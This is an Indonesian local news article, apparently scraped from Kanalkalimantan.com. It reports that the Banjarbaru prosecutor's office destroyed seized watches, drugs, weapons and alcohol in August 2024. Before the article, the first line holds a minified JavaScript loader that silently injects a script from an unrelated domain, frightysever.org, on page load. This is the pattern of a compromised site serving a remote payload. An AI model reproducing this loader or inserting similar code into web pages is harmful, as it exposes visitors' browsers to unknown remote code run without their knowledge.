(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

10.476 Jam Tangan Sitaan Dimusnahkan Kejari Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Kejaksaan Negeri (Kejari) Kota Banjarbaru memusnahkan barang bukti dan barang rampasan hasil dari sejumlah kasus kejahatan di Kota Banjarbaru periode bulan Mei hingga Selasa (27/8/2024).

Di antara barang bukti dan rampasan kejahatan berupa 10.476 buah jam tangan ilegal dari kasus pelanggaran Undang-Undang Perlindungan Konsumen.

“Jam tangan sebanyak 10.476 buah dari satu perkara pelimpahan Polda Kalsel yakni terkait Undang-Undang Perlindungan Konsumen,” kata Kajari Banjarbaru, Hadiyanto, di halaman kantr Kejari Banjarbaru.

Baca juga: Empat Paslon Siap Mendaftar Pilwali Banjarmasin

Kajari Banjarbaru menjelaskan, perkara dengan barang bukti jam tangan ilegal itu memiliki Tempat Kejadian Perkara (TKP) di Kota Banjarbaru, sehingga pemusnahan dilakukan oleh Kejari Banjarbaru.

“Kasus jam tangan ilegal itu limpahan perkara dari Polda Kalsel, dimana terdakwa dikenai hukuman percobaan,” ungkap Hadiyanto.

Tak hanya itu, Kejari Banjarbaru juga memusnahkan narkotika dari 57 perkara dengan menggunakan blender.

“Rincian narkotika ini adalah sabu 898,07 gram, karisoprodol 97 butir, carnophen 942 butir,” sebut Kajari.

Barang bukti sabu dan obat-obatan terlarang lainnya sebagian besar telah dimusnahkan di Polres Banjarbaru pada tahap penyidikan. “Kita musnahkan hari ini sebagian hanya sampel saja,” jelasnya.

Baca juga: Jaga Keamanan di Banjar Bersalawat, Anggota Polres Banjar Ini Dapat Hadiah Umroh dari Bupati

Selain itu juga ada senjata tajam (sajam) dari 20 perkara, meliputi celurit sebanyak tujuh buah, parang lima buah, dan pisau belati 10 buah.

Pemusnahan barang bukti dan rampasan kejahatan dilakukan di halaman kantor Kejaksaan Negeri Kota Banjarbaru, Selasa (27/8/2024) pagi. Foto : wanda

Termasuk minuman keras dalam botol dengan total yang dimusnakan 18 botol dan minuman

beralkohol jenis tuak total 32  liter dari perkara tindak pidana ringan dari lima perkara.

“Serta berbagai jenis barang bukti kejahatan lainnya dari 22 perkara, misalnya pakaian yang dipakai, tas, sendal, kunci pas, gunting, dan lainnya,” tambah dia.

Baca juga: 304 Anak Ikuti Festival Menari Kreasi Anak PAUD se-Kabupaten Banjar

Pemusnahan barang bukti rampasan tersebut, kata Kajari, dilakukan agar setiap barang bukti yang telah memiliki kekuatan hukum tidak disalahgunakan.

Pemusnahan itu pun bertujuan melaksanakan putusan hakim yang telah berkekuatan hukum tetap berdasarkan Pasal 270 Undang-Undang Nomor 8 Tahun 1981 tentang Kitab Undang-Undang Hukum Acara Pidana. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.